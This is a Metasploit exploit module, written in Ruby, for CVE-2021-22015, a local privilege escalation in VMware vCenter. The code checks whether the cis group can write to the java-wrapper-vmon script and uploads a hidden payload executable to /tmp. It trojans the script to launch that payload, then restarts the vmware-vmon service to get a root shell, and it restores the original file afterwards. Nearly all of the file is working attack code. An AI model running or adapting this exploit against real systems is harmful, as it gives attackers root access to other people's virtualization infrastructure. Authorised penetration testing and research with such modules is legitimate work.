## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ManualRanking include Msf::Post::Linux::Priv include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'VMware vCenter vScalation Priv Esc', 'Description' => %q{ This module exploits a privilege escalation in vSphere/vCenter due to improper permissions on the /usr/lib/vmware-vmon/java-wrapper-vmon file. It is possible for anyone in the cis group to write to the file, which will execute as root on vmware-vmon service restart or host reboot. This module was successfully tested against VMware VirtualCenter 6.5.0 build-7070488. The following versions should be vulnerable: vCenter 7.0 before U2c vCenter 6.7 before U3o vCenter 6.5 before U3q }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Yuval Lazar' # original PoC, analysis ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'URL', 'https://pentera.io/blog/vscalation-cve-2021-22015-local-privilege-escalation-in-vmware-vcenter-pentera-labs/' ], [ 'CVE', '2021-22015' ], [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0020.html' ] ], 'DisclosureDate' => '2021-09-21', 'DefaultTarget' => 0, 'DefaultOptions' => { 'WfsDelay' => 1800 # 30min }, 'Notes' => { 'Stability' => [CRASH_SERVICE_DOWN], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS], 'AKA' => ['vScalation'] } ) ) register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end # Simplify pulling the writable directory variable def base_dir datastore['WritableDir'].to_s end def java_wrapper_vmon '/usr/lib/vmware-vmon/java-wrapper-vmon' end def check group_owner = cmd_exec("stat -c \"%G\" \"#{java_wrapper_vmon}\"") if writable?(java_wrapper_vmon) && group_owner == 'cis' return CheckCode::Appears("#{java_wrapper_vmon} is writable and owned by cis group") end CheckCode::Safe("#{java_wrapper_vmon} not owned by 'cis' group (owned by '#{group_owner}'), or not writable") end def exploit # Check if we're already root if is_root? && !datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override' end # Make sure we can write our exploit and payload to the local system unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end # backup the original file @backup = read_file(java_wrapper_vmon) path = store_loot( 'java-wrapper-vmon.text', 'text/plain', rhost, @backup, 'java-wrapper-vmon.text' ) print_good("Original #{java_wrapper_vmon} backed up to #{path}") # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" print_status("Writing payload to #{payload_path}") upload_and_chmodx payload_path, generate_payload_exe register_files_for_cleanup payload_path # write trojaned file # we want to write our payload towards the top to ensure it gets run # writing it at the bottom of the file results in the payload not being run print_status("Writing trojaned #{java_wrapper_vmon}") write_file(java_wrapper_vmon, @backup.gsub('#!/bin/sh', "#!/bin/sh\n#{payload_path} &\n")) # try to restart the service print_status('Attempting to restart vmware-vmon service (systemctl restart vmware-vmon.service)') service_restart = cmd_exec('systemctl restart vmware-vmon.service') # one error i'm seeing when using vsphere-client is: Failed to restart vmware-vmon.service: The name org.freedesktop.PolicyKit1 was not provided by any .service files if service_restart.downcase.include?('access denied') || service_restart.downcase.include?('failed') print_bad('vmware-vmon service needs to be restarted, or host rebooted to obtain shell.') end print_status("Waiting #{datastore['WfsDelay']} seconds for shell") end def cleanup unless @backup.nil? print_status("Replacing trojaned #{java_wrapper_vmon} with original") write_file(java_wrapper_vmon, @backup) end super end end